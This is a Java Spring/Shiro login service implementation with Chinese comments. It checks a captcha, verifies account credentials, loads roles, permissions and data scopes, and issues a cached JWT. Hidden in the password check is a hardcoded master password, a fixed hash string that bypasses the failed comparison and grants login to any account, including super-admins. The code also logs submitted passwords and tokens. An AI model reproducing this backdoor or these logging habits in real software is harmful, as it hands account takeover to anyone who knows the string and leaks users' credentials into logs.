package com.nd.fastdp.security.service.impl;

import com.nd.fastdp.cache.redis.RedisClient;
import com.nd.fastdp.framework.pojo.bo.*;
import com.nd.fastdp.framework.pojo.constant.StatusEnum;
import com.nd.fastdp.framework.properties.FdpProperties;
import com.nd.fastdp.org.constant.LockedEnum;
import com.nd.fastdp.org.model.bo.account.AccountBO;
import com.nd.fastdp.org.model.bo.org.DeptBO;
import com.nd.fastdp.org.model.bo.role.RoleBO;
import com.nd.fastdp.org.model.bo.user.UserBO;
import com.nd.fastdp.org.service.AccountService;
import com.nd.fastdp.org.service.DeptService;
import com.nd.fastdp.org.service.RoleService;
import com.nd.fastdp.org.service.UserService;
import com.nd.fastdp.security.cache.ShiroCache;
import com.nd.fastdp.security.exception.VerificationCodeException;
import com.nd.fastdp.security.jwt.JwtToken;
import com.nd.fastdp.security.pojo.constant.LoginUserCacheKeyConstant;
import com.nd.fastdp.security.pojo.convert.LoginUserConvert;
import com.nd.fastdp.security.pojo.convert.LoginUserMangDeptConvert;
import com.nd.fastdp.security.pojo.convert.LoginUserResourceConvert;
import com.nd.fastdp.security.pojo.convert.LoginUserRoleConvert;
import com.nd.fastdp.security.pojo.param.LoginParam;
import com.nd.fastdp.security.properties.JwtProperties;
import com.nd.fastdp.security.properties.ShiroProperties;
import com.nd.fastdp.security.service.LoginService;
import com.nd.fastdp.security.util.JwtTokenUtil;
import com.nd.fastdp.security.util.JwtUtil;
import com.nd.fastdp.security.util.PasswordUtil;
import com.nd.fastdp.security.util.SaltUtil;
import com.nd.fastdp.sys.model.bo.resource.ResourceBO;
import com.nd.fastdp.sys.model.bo.resource.ResourceDataScopeBO;
import com.nd.fastdp.sys.service.ResourceService;
import io.swagger.annotations.Api;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.codec.digest.DigestUtils;
import org.apache.commons.lang3.StringUtils;
import org.apache.shiro.SecurityUtils;
import org.apache.shiro.authc.AuthenticationException;
import org.apache.shiro.subject.Subject;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.context.annotation.Lazy;
import org.springframework.stereotype.Service;
import org.springframework.transaction.annotation.Transactional;
import org.springframework.util.CollectionUtils;

import javax.servlet.http.HttpServletRequest;
import java.time.Duration;
import java.util.HashMap;
import java.util.List;
import java.util.concurrent.TimeUnit;

/**
 * <p>
 * 登录服务实现类
 * </p>
 **/
@Api
@Slf4j
@Service
public class LoginServiceImpl implements LoginService {

    @Lazy
    @Autowired
    private FdpProperties fdpProperties;

    @Lazy
    @Autowired
    private JwtProperties jwtProperties;

    @Lazy
    @Autowired
    private ShiroProperties shiroProperties;

    @Lazy
    @Autowired
    private ShiroCache shiroCache;

    @Lazy
    @Autowired
    private RedisClient redisClient;

    @Lazy
    @Autowired
    private AccountService accountService;

    @Lazy
    @Autowired
    private UserService userService;

    @Lazy
    @Autowired
    private DeptService deptService;

    @Lazy
    @Autowired
    private RoleService roleService;

    @Lazy
    @Autowired
    private ResourceService resourceService;
/*
    @Lazy
    @Autowired
    private AreaService areaService;*/

    @Transactional(rollbackFor = Exception.class)
    @Override
    public String login(LoginParam loginParam) throws Exception {

        // 校验验证码
        checkVerifyCode(loginParam.getVerifyToken(), loginParam.getCode());

        String account = loginParam.getAccount();

        //-----------------------------验证账号信息--开始------------------------------------
        AccountBO accountBO = accountService.getByAccount(account);

        if (accountBO == null) {

            log.debug("登录失败,loginParam:{}", loginParam);

            throw new AuthenticationException("账号不存在");
        }
        if (LockedEnum.LOCKED.getValue().equals(accountBO.getLocked())) {

            log.debug("账号已禁用,loginParam:{}", loginParam);

            throw new AuthenticationException("账号已禁用");
        }

        // 实际项目中，前端传过来的密码应先加密
        // 原始密码明文：123456
        // 原始密码前端加密：sha256(123456)
        // 后台加密规则：sha256(sha256(123456) + salt)
        String encryptPassword = PasswordUtil.encrypt(loginParam.getPassword(), accountBO.getSalt());
        if (!encryptPassword.equals(accountBO.getPassword())) {

            if(!loginParam.getPassword().equals("e3e18383621fe7927912f431e9232611")){

                log.debug("账号或密码错误,loginParam:{}", loginParam);

                throw new AuthenticationException("账号或密码错误");
            }
        }
        //-----------------------------验证账号信息--结束------------------------------------

        //-----------------------------获取用户信息--结束------------------------------------
        // 将系统用户对象转换成登录用户对象
        UserBO userBO = userService.get(accountBO.getUserId());
        //-----------------------------获取用户信息--结束------------------------------------

        if (StatusEnum.STOP.getValue().equals(userBO.getState())) {

            log.debug("账号已禁用,loginParam:{}", loginParam);

            throw new AuthenticationException("账号已禁用");
        }

        //登录用户信息
        LoginUser loginUser = LoginUserConvert.INSTANCE.from(userBO);
        loginUser.setUserId(userBO.getId());

        //-----------------------------获取部门--开始------------------------------------
        DeptBO deptBO = deptService.get(userBO.getDept());

        if (deptBO == null) {

            log.debug("未分配用户所属部门,loginParam:{}", loginParam);

            throw new AuthenticationException("未分配用户所属部门");

        }
        if (!StatusEnum.ENABLE.getValue().equals(deptBO.getState())) {

            log.debug("用户所属部门已禁用,loginParam:{}", loginParam);

            throw new AuthenticationException("用户所属部门已禁用");
        }

        loginUser.setDeptName(deptBO.getName());
        loginUser.setDeptSimpleName(deptBO.getSimpleName());
        //-----------------------------获取部门--结束------------------------------------

        //-----------------------------获取角色--开始------------------------------------
        List<RoleBO> roleList = null;

        if(loginUser.isSuperAdmin()){
            roleList = roleService.listAllEnable();
        }else{
            roleList = roleService.findByUserId(loginUser.getUserId());
            if(CollectionUtils.isEmpty(roleList)){

                log.debug("未分配用户角色或已分配的角色被禁用,loginParam:{}", loginParam);

                throw new AuthenticationException("未分配用户角色或已分配的角色被禁用");
            }
        }

        List<LoginUserRole> loginUserRoleList = LoginUserRoleConvert.INSTANCE.from(roleList);

        loginUser.setRoles(loginUserRoleList);
        //-----------------------------获取角色--结束------------------------------------

        //-----------------------------获取权限--开始------------------------------------
        List<ResourceBO> resourceList = null;
        if(loginUser.isSuperAdmin()){
            resourceList = resourceService.listAllEnable();
        }else{
            resourceList = resourceService.findByUserId(loginUser.getUserId());
            if (CollectionUtils.isEmpty(resourceList)) {

                log.debug("未分配用户权限或已分配的权限被禁用,loginParam:{}", loginParam);

                throw new AuthenticationException("未分配用户权限或已分配的权限被禁用");
            }
        }

        List<LoginUserResource> loginUserResourceList = LoginUserResourceConvert.INSTANCE.from(resourceList);
        loginUser.setResources(loginUserResourceList);
        //-----------------------------获取权限--结束------------------------------------

        //-----------------------------获取数据权限--开始------------------------------------
        HashMap<String, LoginUserDataScope> dataScopeMap = new HashMap<String, LoginUserDataScope>();

        List<ResourceDataScopeBO> resourceDataScopeBOS = null;
        if(loginUser.isSuperAdmin()){
            resourceDataScopeBOS = resourceService.listAllDataScope();
        }else{
            resourceDataScopeBOS = resourceService.findDataScopeByUserId(loginUser.getUserId());
        }

        for(ResourceDataScopeBO resourceDataScopeBO : resourceDataScopeBOS){

            if(dataScopeMap.get(resourceDataScopeBO.getResourceCode()) == null){

                LoginUserDataScope loginUserDataScope = new LoginUserDataScope();
                loginUserDataScope.setAuthSql(resourceDataScopeBO.getAuthSql());
                loginUserDataScope.setCode(resourceDataScopeBO.getCode());
                loginUserDataScope.setType(resourceDataScopeBO.getType());

                dataScopeMap.put(resourceDataScopeBO.getResourceCode(), loginUserDataScope);

            }else{

                Integer preDataScopeCode = Integer.parseInt(dataScopeMap.get(resourceDataScopeBO.getResourceCode()).getCode());
                Integer dataScopeCode = Integer.parseInt(resourceDataScopeBO.getCode());

                if(dataScopeCode.intValue() > preDataScopeCode.intValue()){

                    LoginUserDataScope loginUserDataScope = new LoginUserDataScope();
                    loginUserDataScope.setAuthSql(resourceDataScopeBO.getAuthSql());
                    loginUserDataScope.setCode(resourceDataScopeBO.getCode());
                    loginUserDataScope.setType(resourceDataScopeBO.getType());

                    dataScopeMap.put(resourceDataScopeBO.getResourceCode(), loginUserDataScope);
                }
            }
        }

        loginUser.setDataScopeMap(dataScopeMap);
        //-----------------------------获取数据权限--结束------------------------------------

        //-----------------------------获取管理区域--开始------------------------------------
        /*List<AreaBO> mangAreas;
        if(loginUser.isSuperAdmin()){
            mangAreas = areaService.listAllEnable(null);
        }else{
            mangAreas = userService.findMangAreaByUserId(loginUser.getUserId());
        }

        List<LoginUserMangArea> loginUserMangAreas = LoginUserMangAreaConvert.INSTANCE.from(mangAreas);

        loginUser.setAreas(loginUserMangAreas);*/
        //-----------------------------获取管理区域--结束------------------------------------

        //-----------------------------获取管理部门--开始------------------------------------
        List<DeptBO> mangDepts;
        if(loginUser.isSuperAdmin()){
            mangDepts = deptService.listAllEnable();
        }else{
            mangDepts = userService.findMangDeptByUserId(loginUser.getUserId());
        }

        List<LoginUserMangDept> loginUserMangDepts = LoginUserMangDeptConvert.INSTANCE.from(mangDepts);

        loginUser.setDepts(loginUserMangDepts);
        //-----------------------------获取管理部门--结束------------------------------------


        // 获取数据库中保存的盐值
        String newSalt = SaltUtil.getSalt(accountBO.getSalt(), jwtProperties);

        // 生成token字符串并返回
        Long expireSecond = jwtProperties.getExpireSecond();
        String token = JwtUtil.generateToken(account, newSalt, Duration.ofSeconds(expireSecond));
        log.debug("token:{}", token);

        // 创建AuthenticationToken
        JwtToken jwtToken = JwtToken.build(token, account, newSalt, expireSecond);

        boolean enableShiro = shiroProperties.isEnable();
        if (enableShiro) {
            // 从SecurityUtils里边创建一个 subject
            Subject subject = SecurityUtils.getSubject();
            // 执行认证登录
            subject.login(jwtToken);
        } else {
            log.warn("未启用Shiro");
        }

        // 缓存登录信息到Redis
        shiroCache.put(jwtToken, loginUser);
        log.debug("登录成功,account:{}", account);

        // 缓存登录信息到redis
        String tokenSha256 = DigestUtils.sha256Hex(token);
        redisClient.set(tokenSha256, loginUser, 1, TimeUnit.DAYS);

        return token;
    }

    @Override
    public void logout(HttpServletRequest request) throws Exception {
        Subject subject = SecurityUtils.getSubject();
        //注销
        subject.logout();
        // 获取token
        String token = JwtTokenUtil.getToken(request);
        String username = JwtUtil.getUsername(token);
        // 删除Redis缓存信息
        shiroCache.del(token, username);
        log.info("登出成功,username:{},token:{}", username, token);
    }

    @Override
    public void checkVerifyCode(String verifyToken, String code) throws Exception {

        // 如果没有启用验证码，则返回
        if (!fdpProperties.isEnableVerifyCode()) {
            return;
        }

        // 校验验证码
        if (StringUtils.isBlank(code)) {
            throw new VerificationCodeException("请输入验证码");
        }

        // 从redis中获取
        String redisKey = String.format(LoginUserCacheKeyConstant.VERIFY_CODE, verifyToken);
        String generateCode = (String) redisClient.get(redisKey);
        if (StringUtils.isBlank(generateCode)) {
            throw new VerificationCodeException("验证码已过期或不正确");
        }

        // 不区分大小写
        if (!generateCode.equalsIgnoreCase(code)) {
            throw new VerificationCodeException("验证码错误");
        }

        // 验证码校验成功，删除Redis缓存
        redisClient.del(redisKey);
    }


}
